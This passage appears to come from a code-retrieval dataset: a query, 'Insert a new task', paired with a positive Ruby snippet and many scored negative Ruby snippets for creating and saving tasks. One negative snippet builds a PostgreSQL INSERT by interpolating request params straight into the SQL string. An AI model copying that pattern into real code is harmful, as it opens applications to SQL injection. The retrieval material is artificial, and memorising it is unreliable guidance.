data\n end", "title": "" }, { "docid": "ac14c02e671e7aaa4d0bc3ce5ad0ed6f", "score": "0.5395274", "text": "def convert_to_type(data, return_type)\n return nil if data.nil?\n case return_type\n when 'String'\n data.to_s\n when 'Integer'\n data.to_i\n when 'Float'\n data.to_f\n when 'BOOLEAN'\n data == true\n when 'DateTime'\n # parse date time (expecting ISO 8601 format)\n DateTime.parse data\n when 'Date'\n # parse date time (expecting ISO 8601 format)\n Date.parse data\n when 'Object'\n # generic object (usually a Hash), return directly\n data\n when /\\AArray<(.+)>\\z/\n # e.g. Array<Pet>\n sub_type = $1\n data.map { |item| convert_to_type(item, sub_type) }\n when /\\AHash\\<String, (.+)\\>\\z/\n # e.g. Hash<String, Integer>\n sub_type = $1\n {}.tap do |hash|\n data.each { |k, v| hash[k] = convert_to_type(v, sub_type) }\n end\n else\n # models, e.g. Pet\n LemonWayClient.const_get(return_type).new.tap do |model|\n model.build_from_hash data\n end\n end\n end", "title": "" }, { "docid": "990a863723ed9dea4e3ae9428b2cc03d", "score": "0.53940636", "text": "def initialize\n @data = Data.instance\n end", "title": "" }, { "docid": "f07c7def21c6ba2f334efd606e6928f5", "score": "0.5389837", "text": "def convert(content); end", "title": "" }, { "docid": "f07c7def21c6ba2f334efd606e6928f5", "score": "0.5389837", "text": "def convert(content); end", "title": "" }, { "docid": "5c985778cc64369c618b82974d57da79", "score": "0.53893596", "text": "def convert_binary\n end", "title": "" }, { "docid": "c73e648cb64500dafa7788cc08e3e832", "score": "0.5385169", "text": "def build(data)\n case data\n when String\n build_from_string(data)\n when Hash\n build_from_hash(data)\n else\n raise TypeError, 'Unsupported data type for build function'\n end\n end", "title": "" } ]
d68dbd188436d7351d032688f7b6a8aa
Insert a new task
[ { "docid": "e0d2e58600eb80747c63962ef6639d9f", "score": "0.6831979", "text": "def new_task(task_list_id,**task_info)\n task_data = Google::Apis::TasksV1::Task.new\n task_info.keys.each do |key|\n task_data.instance_variable_set(\"@#{key.to_s}\".to_sym, task_info[key])\n end\n tasks_client = Google::Apis::TasksV1::TasksService.new\n tasks_client.authorization = @credentials\n if task_data.parent\n #create with a parent\n tasks_client.insert_task(task_list_id,task_data,parent:task_data.parent)\n else\n #create at top level\n tasks_client.insert_task(task_list_id,task_data)\n end\n end", "title": "" } ]
[ { "docid": "c3f288dc433f1a6aee372f775dce2146", "score": "0.79562366", "text": "def new_task\n t = Task.new(get_next_id, @current_user_id) #Must change number\n t.create\n @db << t\n save_db\n end", "title": "" }, { "docid": "1d2daa50fda8c18e82daec4fdc78a7bf", "score": "0.7729557", "text": "def add_task(task, db)\r\n\t\tdb.execute(\"INSERT INTO tasks (user_id, name, description, start_date) VALUES (?, ?, ?, ?)\", [@user_id, task.name, task.description, task.date_added])\t\t\t\r\n\t\tget_task_list(db)\r\n\t\r\n\tend", "title": "" }, { "docid": "b05d49280ab4003e0b675aced4a9450a", "score": "0.7513157", "text": "def add_task(insert_before: nil, insert_after: nil, options: {}, **data)\n with_params = data.merge(insert_before: insert_before, insert_after: insert_after).reject { |_,v| v.nil? || Array(v).empty? }\n Task.new(parse(client.post(\"/sections/#{gid}/addTask\", body: with_params, options: options)).first, client: client)\n end", "title": "" }, { "docid": "750cba849fd2903a81c5cb690d2322d9", "score": "0.74376166", "text": "def create_task(db, content, catinfo, priority)\r\n db.execute(\"INSERT INTO tasks (content, catinfo, priority, done) VALUES (?, ?, ?, 'false')\", [content, catinfo, priority])\r\n # All new tasks have a default 'done' value of false.\r\nend", "title": "" }, { "docid": "9151aaf98e46ed573e184300b412cdad", "score": "0.742512", "text": "def add\n description = prompt(\"Task description.\")\n new_task = Task.new(description)\n @all_tasks.push(new_task)\n end", "title": "" }, { "docid": "5f540d08eb0e271de3f67c2feb8621ae", "score": "0.7397115", "text": "def add(task) \n Task.create(task_name: task, done: false) #Comando de active record para crear un nuevo registro en la base de datos\n task_created = Task.all.last \n @view.create(task_created)\n end", "title": "" }, { "docid": "072523ef6bcd8085fcea59b82e4de2d5", "score": "0.73780227", "text": "def create_new_task (db, names, tasks)\n db.execute(\"INSERT INTO prentke_list (user_name, task)\n VALUES (?, ?)\", [names, tasks])\nend", "title": "" }, { "docid": "25aa498673fe1a31e4674516ab0238b3", "score": "0.73387337", "text": "def add_task(name)\n @db.transaction do\n current_newest = @db.execute(\"SELECT MAX(sort_order) FROM #{@@TABLE_TASKS[:name]}\").first.first\n newest = (current_newest ? current_newest+1 : 0)\n \n values = @@TABLE_TASKS[:keys].map{ |k| k[0] == 'name' ? name : (k[0] == 'sort_order' ? newest : k[2]) }\n placeholder = '?, ' * (@@TABLE_TASKS[:keys].size - 1) + '?'\n sql = \"INSERT INTO #{@@TABLE_TASKS[:name]} VALUES(#{placeholder})\"\n \n @db.execute(sql, values)\n end\n end", "title": "" }, { "docid": "ed7ea7ffaae5c5a5f8b20b4bb6c217bb", "score": "0.72910887", "text": "def add_a_task\n\n end", "title": "" }, { "docid": "eb106400618d7e1c2952d4d5a23e42b3", "score": "0.7256209", "text": "def enter_task(db)\n user_id = get_user_id(db)\n db.execute(\"INSERT INTO tasks (task, location, past_due, due_date, user_id) VALUES (?, ?, ?, ?, ?)\", [$user_data[:task], $user_data[:location], $user_data[:past_due], $user_data[:due_date], user_id])\nend", "title": "" }, { "docid": "7a3e77d877d06401b2e667d5156708d8", "score": "0.72214705", "text": "def create_task(params)\n self.tasks.create(params)\n end", "title": "" }, { "docid": "613a4e2f2970652a60699cb5e017a59d", "score": "0.72175854", "text": "def add_task(content, opts={})\n Task.new(content, self, opts).save\n end", "title": "" }, { "docid": "f3d868d9882ddb608b2ea7544bd70079", "score": "0.71497095", "text": "def create_task(params)\n tasks.create(params)\n end", "title": "" }, { "docid": "6787d6c101999bec9fa6930709926325", "score": "0.7146362", "text": "def add(task)\n list = ToDoList.find_or_create_by(name: options[:list] , user_id: current_user.id)\n Task.create(name: task, list_id: list.id, due_date: options[:date]) \n end", "title": "" }, { "docid": "c37fb8a82410c6af2efb3de37594e721", "score": "0.71207625", "text": "def add_task(task)\n @task_list.push(task)\n end", "title": "" }, { "docid": "c37fb8a82410c6af2efb3de37594e721", "score": "0.71207625", "text": "def add_task(task)\n @task_list.push(task)\n end", "title": "" }, { "docid": "b2e0e460f5bdb0e46d17d5b25b556603", "score": "0.7078069", "text": "def add\n # 1. Ask the user for the task title gets chomp\n title = @tasks_view.ask_for(\"task title\")\n # 2. Create a new task with the title (Task.new(title))\n task = Task.new(title)\n # 3. Store in the repository repo.add(task)\n @task_repository.add(task)\n end", "title": "" }, { "docid": "f2807c0183baa47ea6fd647bd16108a0", "score": "0.7060356", "text": "def save(task)\n if task.id\n @tasks.filter(:id => task.id).update(:input => task.input, :output => task.output, :state => task.state, :type => task.type)\n else\n @tasks.insert(:input => task.input, :output => task.output, :state => task.state, :type => task.type)\n end\n end", "title": "" }, { "docid": "3e21beacfe699e0415c415829ba3c809", "score": "0.704072", "text": "def CreateNewTask(name,type,priority)\n\tTasks.data << Tasks::Task.new(name,type,priority)\nend", "title": "" }, { "docid": "dd26f460c613b7c9b2ccb759440c6e3f", "score": "0.70372844", "text": "def add(task)\n #Crea la nueva tarea con lo que el usuario escriba\n taskToAdd = Task.create(name: task)\n #Muestra mensaje de que la tarea ha sido agregada\n @view.create(task)\n end", "title": "" }, { "docid": "5ac1e6563a0e814861c41cb91ed275ed", "score": "0.70318764", "text": "def add_task(name, task)\n @log.info(\"Controller: Adding Task: #{name}\")\n @tasks[name] = task\n end", "title": "" }, { "docid": "4e0a935aeec7794812ceda9a77f78063", "score": "0.7019645", "text": "def create\n @last_task = Task.rank(:order_number).last\n @task = Task.create!(name: params[:task][:name], start_on: params[:task][:start_on],\n due_on: params[:task][:due_on], completed: params[:task][:completed],\n order_number: @last_task.order_number + 1)\n end", "title": "" }, { "docid": "bbc792ba391321c90788c6d1b433618d", "score": "0.6996154", "text": "def add(task)\n @tasks << task\n end", "title": "" }, { "docid": "48f0643ab78613f672e2948afad3dbba", "score": "0.6983477", "text": "def create\n @task = Task.new(task_params)\n @task_list = @task.task_list\n @task.insert_at(1)\n respond_to do |format|\n if @task.save\n format.html { redirect_to task_list_url(@task_list), notice: \"Task was successfully created.\" }\n format.json { render :show, status: :created, location: task_list_url(@task_list) }\n else\n # format.html { redirect_to new_task_url(:params => { :list => @task_list.id }), notice: @task.errors.messages}\n format.html { render :new, error: @task.errors.messages.values }\n format.json { render json: @task.errors.messages.inspect, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "42e3d1a6240c4cdadcc88db3b706a4f0", "score": "0.6981613", "text": "def add_task(task)\n @tasks << task\n end", "title": "" }, { "docid": "42e3d1a6240c4cdadcc88db3b706a4f0", "score": "0.6981613", "text": "def add_task(task)\n @tasks << task\n end", "title": "" }, { "docid": "42e3d1a6240c4cdadcc88db3b706a4f0", "score": "0.6981613", "text": "def add_task(task)\n @tasks << task\n end", "title": "" }, { "docid": "4528c5e96b947d5b799cac330fabb486", "score": "0.69762075", "text": "def add(task)\n @tasks << task\n end", "title": "" }, { "docid": "b911fb771028f131354181df018d8b6f", "score": "0.6941368", "text": "def add(task)\n if self.push task\n save\n else\n false\n end\n end", "title": "" }, { "docid": "2d9481dc60b94fd5e5580dae91e44432", "score": "0.6925716", "text": "def add(task)\r\n\t\tall_tasks.push(task)\r\n\tend", "title": "" }, { "docid": "e2132c265417d8a79eed8bce066f4ebc", "score": "0.6889792", "text": "def create_task(db,date,start_time,end_time,location,description)\n db.execute(\"INSERT INTO planner (date,start_time,end_time,location,description) VALUES (?,?,?,?,?)\", [date,start_time,end_time,location,description])\nend", "title": "" }, { "docid": "e1c25f9b29be1a73d763413d8eed60d8", "score": "0.68713075", "text": "def add_task(task)\n @all_tasks << task\n end", "title": "" }, { "docid": "11ddffa22bf6855b798b0d0479a26f02", "score": "0.6868412", "text": "def adicionar\n # 1. pegar a descrição da tarefa com o usuário\n desc_from_view = @view.get_desc_from_user # desc_from_view é uma String\n # 2. criar uma nova Task com essa descrição\n new_task = Task.new(desc_from_view) # new_task é uma Task\n # 3. enviar a nova Task para o repositório guardar\n @repo.add_task(new_task)\n end", "title": "" }, { "docid": "6ff610780603d8caa74b29525e562314", "score": "0.6860433", "text": "def add_task(task, date=Time.now.strftime(\"%Y-%m-%d\"))\n add_tasks([task], date)\n end", "title": "" }, { "docid": "bf63ad1b4033e05939cad8e4e2f3bc48", "score": "0.6857334", "text": "def add_task(task)\n @tasks << task\n end", "title": "" }, { "docid": "bf63ad1b4033e05939cad8e4e2f3bc48", "score": "0.6857334", "text": "def add_task(task)\n @tasks << task\n end", "title": "" }, { "docid": "bd62d4f5d4a34e10b97f08423b21e2a5", "score": "0.6855985", "text": "def add(opts = {})\n tasklist = find_list(opts.delete(:list)) { |lists| lists[0] }\n task = @tasks.tasks.insert.request_schema.new(opts)\n result = @google_client.execute(api_method: @tasks.tasks.insert,\n parameters: { tasklist: tasklist.id },\n body_object: task)\n result.body\n end", "title": "" }, { "docid": "edeffe8e1dc126179634eab2eaab4b0d", "score": "0.68460894", "text": "def new_task\n @task = Task.new\n end", "title": "" }, { "docid": "18f92e00cb5dd4ba638a704fa22f558b", "score": "0.684333", "text": "def create\n @task = Task.create(task_params)\n end", "title": "" }, { "docid": "52518f5d7fc54307b0571a364b3044b3", "score": "0.6839483", "text": "def add_task\n conn = PG::Connection.open(:dbname => 'tododb')\n query = \"INSERT INTO todo_list VALUES (#{params[\"slno\"]}, '#{params[\"task\"]}');\"\n conn.exec_params(query)\nend", "title": "" }, { "docid": "5281ba39e15b153bc6a874e7c11e876f", "score": "0.6834984", "text": "def create_task(name, date = nil)\n Wunderlist::Task.new(name, date, self, @api).save\n end", "title": "" }, { "docid": "bcb0edb80326deff0423eeafda675b38", "score": "0.68144125", "text": "def add(title=nil)\n raise 'you need to enter a title' unless title\n if Task.first(:title => title)\n puts \"task already in list -> #{title}\"\n else\n Task.new(title).save\n puts \"added task -> #{title}\"\n end\n print_tasks\n end", "title": "" }, { "docid": "744749f0ce2c557a975ac1ace64f05f5", "score": "0.67971534", "text": "def add_task(task,id=nil)\n task_cpt=id || DynTask.inc_task_cpt\n @task_ids[task_cpt] = [] unless @task_ids[task_cpt]\n @task_ids[task_cpt] << task\n task_cpt #id of the task\n end", "title": "" }, { "docid": "291b41c6fd17043199058e321de5b2e3", "score": "0.6785544", "text": "def add_task(task)\n task.milestone_id = id\n task.save\n end", "title": "" }, { "docid": "e509e798935f6440554c514e6f1a1151", "score": "0.6780476", "text": "def create_task(patient)\n t = Task.new\n test_details.each do |tdetail|\n test = tdetail.name.constantize.new\n test.create_one(tdetail)\n t.tests << test\n test.save\n end\n t.patient = patient\n t.save\n self.tasks.append(t)\n end", "title": "" }, { "docid": "08f495458e547dd413eb66fbd7c2f381", "score": "0.67731327", "text": "def add_data_to_task(data)\n task = Task.find data[:task_id]\n task.result = data[:result]\n task.start_time = data[:start_time]\n task.finished_time = data[:finished_time]\n task.duration = data[:duration]\n task.completed = true\n task.save\n task\n end", "title": "" }, { "docid": "c303789b4d90fb510ca5f44e579478b5", "score": "0.67620873", "text": "def create_task(options={})\n\t\t\tTask.create({\n\t\t\t\ttitle: \"title example\",\n\t\t\t\tdifficult: 1,\n\t\t\t\tdescription: \"description example\"*20\n\t\t\t}.merge(options))\n\t\tend", "title": "" }, { "docid": "4d999d64fba0f4746ffc6af027b31e43", "score": "0.6757019", "text": "def add(task)\n\t\t@all_tasks << task\n\tend", "title": "" }, { "docid": "4d999d64fba0f4746ffc6af027b31e43", "score": "0.6757019", "text": "def add(task)\n\t\t@all_tasks << task\n\tend", "title": "" }, { "docid": "f4c58c55719ed3692655bd9fc5aae28f", "score": "0.67540455", "text": "def add task, priority=1\n\t\t\tlist = Helpers::DATABASE[:Lists].select(:Total, :Id)[:Name=>Todo::Config[:working_list_name]]\n\t\t\tif !list\n\t\t\t\tHelpers::DATABASE[:Lists] << {:Name => Config[:working_list_name], :Total => 0}\n\t\t\t\tlist = Helpers::DATABASE[:Lists].select(:Total, :Id)[:Name=>Todo::Config[:working_list_name]]\n\t\t\tend\n\t\t\tcount = list[:Total]+1\n\t\t\tHelpers::DATABASE[:Tasks] << {:Task_number => count, :Name => task, :Completed => 0, :Priority => priority}\n\t\t\tlist_id = list[:Id]\n\t\t\ttask_id = Helpers::DATABASE[:Tasks].with_sql(\"SELECT last_insert_rowid() FROM Tasks\")\n\t\t\tHelpers::DATABASE[:Task_list] << {:Task_id => task_id, :List_id => list_id}\n\t\t\tHelpers::DATABASE[:Lists].filter(:Id => list_id).update(:Total => count)\n\t\tend", "title": "" }, { "docid": "9ace9c9ff6cda55b64cf86276a2ea429", "score": "0.6745891", "text": "def add_task(task)\n RRRSpec.redis.rpush(RRRSpec.make_key(key, 'tasks'), task.key)\n RRRSpec.redis.rpush(RRRSpec.make_key(key, 'tasks_left'), task.key)\n end", "title": "" }, { "docid": "b1fa6081fdcf920d26836db42b445b81", "score": "0.67333835", "text": "def save(task)\r\n @store.transaction do\r\n @store[task.id] = task\r\n end\r\n end", "title": "" }, { "docid": "40b9bb7a5257f684c8d5d4f789754346", "score": "0.67317", "text": "def create_task (pid, priority, description)\n command = <<-SQL\n INSERT INTO tasks( project_id, priority, description, complete)\n VALUES ( '#{pid}', '#{priority}', '#{description}', 'false' )\n returning *;\n SQL\n result = @db.exec(command)\n params = result.map {|x| x}\n end", "title": "" }, { "docid": "4d25651866787bfc0fe438e04de8039a", "score": "0.67252654", "text": "def task_add(title, options={})\n post(\"wrike.task.add\", options.merge(:title => title))\n end", "title": "" }, { "docid": "d9b103ae70e70b4b1aad200f9ac0221c", "score": "0.6721145", "text": "def created_task(task) #Crear un metodo que recibe un argumento y nos imprimira la nueva task.\n puts \"Created Task '#{task.text}'\" #Imprimir el string con la task que agrego el usuario.\n end", "title": "" }, { "docid": "81c42226824d550333510c92f86ae085", "score": "0.67046404", "text": "def insert_task(task)\n 0.upto(@queue.length) do |i|\n t = @queue[i]\n if t.nil? || (t.channel<=task.channel && t.timestamp<=task.timestamp)\n @queue.insert i, task\n return\n end\n end\n end", "title": "" }, { "docid": "7dc7b90635664c7a34d38a3fa8d01dd6", "score": "0.66887414", "text": "def insert_db \n task = params[:task]\n language = params[:language]\n original = params[:original]\n extract = params[:extract]\n registration = params[:registration]\n filename = params[:filename]\n status = params[:status]\n record = Task.new(:task => task,:language => language,:original => original,:extract => extract,:registration => registration,:filename => filename,:status => status)\n record.save\n render :json => \"Import successfully!\".to_json\n return\n end", "title": "" }, { "docid": "68dfa07d96b799fa00bfb45f0753216b", "score": "0.66801685", "text": "def create\n @task = Task.new(params[:task])\n \n if @task.save\n \n #\n # Move down all other items by 1\n #\n for task in Task.open_tasks do\n unless task == @task\n task.position += 1\n task.save\n end\n end\n \n flash[:success] = \"New task successfully saved\"\n render :text => ''\n \n else\n render 'new' and return\n end\n end", "title": "" }, { "docid": "232a6439af19251307d2e1ce8f038951", "score": "0.6669514", "text": "def create_task(name, description, priority, due_date)\n @tasks << Task.new(name,description, priority, due_date)\n end", "title": "" }, { "docid": "1d0ebab87beec9fb68de5c193c93edfa", "score": "0.6661484", "text": "def add_task(session, line) \r\n context = parse_context(line)\r\n folder = parse_folder(line)\r\n goal = parse_goal(line)\r\n priority = parse_priority(line)\r\n title = parse_remainder(line)\r\n \r\n params = {}\r\n if (priority != nil)\r\n params.merge!({ :priority => priority })\r\n end\r\n \r\n if (folder != nil)\r\n params.merge!({ :folder => folder })\r\n end\r\n \r\n if (context != nil)\r\n params.merge!({ :context => context })\r\n end\r\n \r\n if (goal != nil)\r\n params.merge!({ :goal => goal })\r\n end\r\n \r\n # If we got nothing but 'add' then ask for it explicitly.\r\n if (title == nil)\r\n title = ask(\"Task name: \") { |q| q.readline = true }\r\n end\r\n \r\n task_id = session.add_task(title, params)\r\n \r\n print \"Task #{task_id} added.\"\r\n end", "title": "" }, { "docid": "dbbe5b8d4dc22a128895e2f9648cedf1", "score": "0.6660204", "text": "def add_task(res_uuid, am, date_time, type)\n @task = Task.create(:resource_uuid => res_uuid,\n\t\t\t:AM_URN => am.urn,\n\t\t\t:AM_URI => am.uri,\n\t\t\t:date_time => date_time,\n\t\t\t:type => type)\n raise \"failed to save the task: #{@task.inspect}\" unless @task.saved?\n @task\n rescue => ex\n logger.error ex.message\n logger.error ex.backtrace.join(\"\\n\")\n end", "title": "" }, { "docid": "2e466c3b4b6a6501013f4473f3f561c8", "score": "0.6658914", "text": "def add(task)\n todo = Todo.new(id: generate_id, task: task)\n @todos << todo\n todo\n end", "title": "" }, { "docid": "80dca71608b04b8f6560e06c221837a7", "score": "0.66313916", "text": "def push(parameters)\n\t\tDisbatch::Task.create(self, parameters)\n\t\tself\n\tend", "title": "" }, { "docid": "219e166f82adcfeaf400810697f83ba7", "score": "0.66250885", "text": "def add_task(new_task)\n @agenda << new_task\n end", "title": "" }, { "docid": "4ac225d2262d2c8b04aac0161206936a", "score": "0.66181487", "text": "def create_task(project, task_name)\n response = request(:post, credentials, \"/projects/#{project.to_i}/task_assignments/add_with_create_new_task\", :body => {\"task\" => {\"name\" => task_name}}.to_json)\n id = response.headers[\"location\"].match(/\\/.*\\/(\\d+)\\/.*\\/(\\d+)/)[1]\n find(id)\n end", "title": "" }, { "docid": "dcffcf1195fac91bb5b7b6d310c0ca32", "score": "0.66141707", "text": "def add_task task\n if ! @tasks[task.name].nil?\n raise ArgumentError.new \"Type #{name} already exists\"\n end\n logger.debug \"Added pre-defined task [#{name}]\"\n @tasks[task.name] = task\n end", "title": "" }, { "docid": "9cdb74a5c09903695d890b380c7fef2b", "score": "0.65865356", "text": "def add_task(data)\n data.task.sys = self\n push(ready, data)\n end", "title": "" }, { "docid": "02a334c29429528244fb3c7725cc64d1", "score": "0.65821815", "text": "def save\n if @id.nil?\n DB.execute(\"INSERT INTO tasks (title, description, done) VALUES (?, ?, ?)\", @title, @description, @done ? 1 : 0)\n @id = DB.last_insert_row_id\n else\n DB.execute(\"UPDATE tasks SET title = ?, description = ?, done = ?\", @title, @description, @done ? 1 : 0)\n end\n end", "title": "" }, { "docid": "b2934f83623ccf939f2bf4974719f0a7", "score": "0.65574235", "text": "def register_task(task)\n\n end", "title": "" }, { "docid": "06e3b896b2dd6fd56eb591d4845d008b", "score": "0.6551302", "text": "def save\n # Fighting SQL injection\n\n sql = <<-SQL\n INSERT INTO ? (title, description)\n VALUES (?,?);\n SQL\n\n DB[:conn].execute(sql, self.title, self.description)\n\n @id = DB[:conn].execute(\"SELECT * FROM tasks\").last[\"id\"]\n end", "title": "" }, { "docid": "332f184229761a35c0320d7f19beead0", "score": "0.6550809", "text": "def add_task(task)\n # TODO: Not a perfect solution (checking type of class) but a different handling would require Task and its hierarchy to be changed\n raise ArgumentError, \"Only tasks can be added to days. You tried to add object of type: #{task.class}\" unless task.is_a?(Task)\n\n @tasks.push(task)\n end", "title": "" }, { "docid": "b4aceac70cce97bf0392b5078477ba27", "score": "0.65408075", "text": "def <<(task)\n unless (task.is_a?(Pigeon::Task))\n raise \"Cannot add task of class #{task.class} to #{self.class}\"\n end\n \n # If there is an insert operation already in progress, put this task in\n # the backlog for subsequent processing.\n \n Pigeon::Engine.execute_in_main_thread do\n self.execute_add_task!(task)\n end\n \n task\n end", "title": "" }, { "docid": "6f7fd977b63e259fde0e25bef433a8e0", "score": "0.65396816", "text": "def set_task\n @task = Task.first_or_create(title: 'Initial subject')\n end", "title": "" }, { "docid": "fdbc63f4983f10c1c8681e41f9b0fcd1", "score": "0.65303415", "text": "def create\n @task = Task.new(task_params)\n @task.save\n redirect_to task_path(@task)\n end", "title": "" }, { "docid": "099e72d859d23055e72ae341f9b0b622", "score": "0.65271604", "text": "def create_or_update_task\n self.title = check_task_name(@options[\"task_title\"])\n self.description = @options[\"task_description\"]\n self.start_date = @options[\"task_start_date\"]\n self.end_date = @options[\"task_end_date\"]\n if save!\n update_task_attrs\n end\n return {\n task: {\n id: self.id\n }\n }\n end", "title": "" }, { "docid": "e06f5ff8375b7c8b0b39299e5ccb734c", "score": "0.65218663", "text": "def push(task)\n acts_as_task_queue_tasks << task\n end", "title": "" }, { "docid": "2caa46327e436857929ad64948b8ea21", "score": "0.65175617", "text": "def create\n @task = Task.new(task_params)\n respond_to do |format|\n if @task.save\n current_user.tasks << @task\n\n format.html { redirect_to @task, notice: 'Task was successfully created.' }\n format.json { render action: 'show', status: :created, location: @task }\n else\n format.html { render action: 'new' }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8341a065424436557013fd43b86a951a", "score": "0.65120846", "text": "def create\n @task = Task.new(params[:task])\n @current_user.tasks << @task\n\n if @current_user.save\n @tasks = @current_user.tasks\n redirect_to tasks_path\n else\n redirect_to new_task_path\n end\n end", "title": "" }, { "docid": "14fc1088ade9a26694c4595ab04f1251", "score": "0.6508531", "text": "def created_task(task)\n puts \"Created Task '#{task.text}'\"\n end", "title": "" }, { "docid": "19e528ed60973c9857fcf4fb1e78d4e0", "score": "0.65021455", "text": "def tasks_add(taskname)\n\ttask = TasksController.add(taskname)\n\tp \"Added task ==>\" + \" \" + taskname\n\tprint tasks_list\nend", "title": "" }, { "docid": "3ed16bf6b3500126a604e9c4c18d6ff1", "score": "0.65019715", "text": "def task\n Intrigue::TaskFactory.create_by_name(task_name)\n end", "title": "" }, { "docid": "9d3716acc419b6afbf208ad51356e7e3", "score": "0.64975756", "text": "def register_task\n @current_task = @test_folder.RegisterTaskDefinition(\n @task, # Name of the task\n @task_definition, # Definition\n 6, # Flag: TASK_CREATE_OR_UPDATE\n nil, # UserId\n nil, # Password\n 3\n )\n @ts.instance_variable_set(:@task, @current_task) if @ts\nend", "title": "" }, { "docid": "96da2fe28bbedb9e084e4f1bac83c95c", "score": "0.6494033", "text": "def create\n @task = Task.new(task_params)\n @task.save\n\n redirect_to task_path(@task)\n end", "title": "" }, { "docid": "f983e136b66b27f73a3586c2a353f88d", "score": "0.6489331", "text": "def create\n\t\t\t\ttasks = Task.new(tasks_params)\n\t\t\t\tif tasks.save\n\t\t\t\t\trender json: {status: 'SUCCESS', message:'Tarefa inserida com sucesso', data:tasks},status: :ok\n\t\t\t\telse\n\t\t\t\t\trender json: {status: 'ERROR', message:'Tarefa não inserida com sucesso', data:tasks.erros},status: :unprocessable_entity\n\t\t\t\tend\n end", "title": "" }, { "docid": "156579bbfa8f5122d0e04667819f5ba6", "score": "0.648889", "text": "def createtask(task)\n @toptaskid += 1\n full_title = task.title\n folder = @folders_list[task.folder.name]\n abort \"Unknown local folder #{task.folder.name}\" if !folder\n context = @contexts_list[task.context.name]\n context = @contexts_list['@' + task.context.name] if !context\n abort \"Unknown local context #{task.context.name}\" if !context\n full_title += ' ' + context.name \n\n # V1.0: Assume -- wrongly -- that all tasks are top-level tasks! Therefore, zparenttask == nil every time\n \n @db.execute(\"insert into ZTASK(ZPARENTTASK, Z_PK, Z_OPT, ZPRIORITY, ZRECURRING, ZUIDNUM, ZPARENTLIST, Z_ENT, ZCOMPLETEDDATE, ZDISPLAYORDER, ZARCHIVEDDATE, ZMODIFIEDDATE, ZCREATEDDATE, ZESTIMATEDTIME, ZACTUALTIME, ZDUEDATE, ZCANCELEDDATE, ZSTARTDATE, ZTITLE, ZNOTES, ZCALENDARSTOREUID, ZATTRIBUTEDNOTES, ZRECURRENCERULE) VALUES(?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)\",\n nil, # ZPARENTTASK (task, not folder)\n @toptaskid, # Z_PK\n 0, # Z_OPT\n PriorityConverter::t2l(task.priority), # ZPRIORITY\n 0, # ZRECURRING\n uid, # ZUIDNUM\n folder.id, # ZPARENTLIST (folder, not task)\n 7, # Z_ENT -- Why 7?\n nil, # ZCOMPLETEDDATE\n 1000.0, # ZDISPLAYORDER,\n nil, # ZARCHIVEDDATE\n @now, # ZMODIFIEDDATE\n @now, # ZCREATEDDATE\n 0.0, # ZESTIMATEDTIME\n 0.0, # ZACTUALTIME\n nil, # ZDUEDATE\n nil, # ZCANCELDDATE\n nil, # ZSTARTDATE\n full_title, # ZTITLE\n task.note, # ZNOTE\n nil, # ZCALENDARSTOREUID\n nil, # ZATTRIBUTESNOTES\n nil)\n \n # This is where tags and contexts are indexed \n @db.execute(\"insert into Z_5TASKS(Z_5TAGS, Z_7TASKS1) VALUES(?, ?)\", context.id, @toptaskid)\n \n @sdb.execute(\"insert into uidmap(tduid, localuid) values(?, ?)\", task.id, @toptaskid)\n end", "title": "" }, { "docid": "159c97e54a250480d9dcf066cf4b4f7d", "score": "0.6483655", "text": "def create\n @task = @journal.tasks.build(task_params)\n @task.position = @journal.get_next_task_position\n\n if @task.save\n redirect_to @journal,\n success: 'Task was successfully created.'\n else\n\n render :new\n end\n end", "title": "" }, { "docid": "58ef8d12fb75ad9fd5b3cc62a83dbc78", "score": "0.6480608", "text": "def create\n @task = @instruction.tasks.build(params[:task])\n if @task.save\n flash[:notice] = \"Task has been created.\"\n redirect_to [@instruction]\n else\n flash[:alert] = \"Task has not been created.\"\n render :action => \"new\"\n end\n end", "title": "" }, { "docid": "8540cdb43084d4483764152b9acd2843", "score": "0.64795214", "text": "def create\n @task = Task.new(params[:task])\n if @task.save\n flash[:notice] = 'Added new task'\n redirect_to :action => :index\n else\n flash[:error] = 'Failed to add new task'\n load_tasks\n render :action => :index\n end\n end", "title": "" }, { "docid": "2ba632d27c010fe9dc9c845c75c968b4", "score": "0.64668214", "text": "def add_item(task)\r\n @list << task\r\n p @list\r\n end", "title": "" }, { "docid": "4ac79586cc781ff81e84366b1691ebb2", "score": "0.6464493", "text": "def create\n @task = Task.new(params[:task])\n if @task.save\n redirect_to tasks_path, :notice => 'Task was successfully created.'\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @task.errors, :status => :unprocessable_entity }\n end\n end", "title": "" }, { "docid": "814fc33c0184f60f85a984477dc86219", "score": "0.646074", "text": "def create\n @task = Task.create(task_params)\n redirect_to tasks_path\n end", "title": "" }, { "docid": "2017ef6807e3c4b23f55ca41203f4cdd", "score": "0.64589745", "text": "def <<(new_task)\n if new_task.id.nil?\n new_task.id = @next_id\n end\n @tasks << new_task\n @next_id = (@tasks.map(&:id).max + 1)\n end", "title": "" }, { "docid": "42c9643e6a7a02804e2d9ff5b522315c", "score": "0.64486927", "text": "def create\n # Check exist\n @task = Task.where(bench_id: params[:task][:bench_id], algorithm_id: params[:task][:algorithm_id]).first\n if @task\n redirect_to task_path(@task)\n else\n bench = Bench.find(params[:task][:bench_id])\n algorithm = Algorithm.find(params[:task][:algorithm_id])\n @task = Task.run!(current_user, bench, algorithm)\n redirect_to @task, notice: 'Task was successfully created.'\n end\n end", "title": "" }, { "docid": "496063eee3866e278cf2bd5a9ac152c3", "score": "0.6421958", "text": "def create\n @task = Task.new(params[:task])\n @task.created_by = current_user.id\n @task.last_updated_by = current_user.id\n\n respond_to do |format|\n if @feature.tasks << @task\n \n # If saved successfully, attempt to complete the task if it is possible.\n @task.complete! unless @task.completed?\n \n format.html { redirect_to(feature_tasks_path(@feature), :notice => 'Task was successfully created.') }\n format.xml { render :xml => @task, :status => :created, :location => @task }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @task.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b9888227b3fab327da160cfc23936a08", "score": "0.6414333", "text": "def create\n\t\t\t@task = current_admin.tasks.build(task_params)\n\t\t\tif @task.save\n\t\t\t\tredirect_to admin_tasks_path(current_admin)\n\t\t\telse\n\t\t\t\tflash[:message] = \"Keep Tasks between 1 and 100 characters please.\"\n\t\t\t\tredirect_to 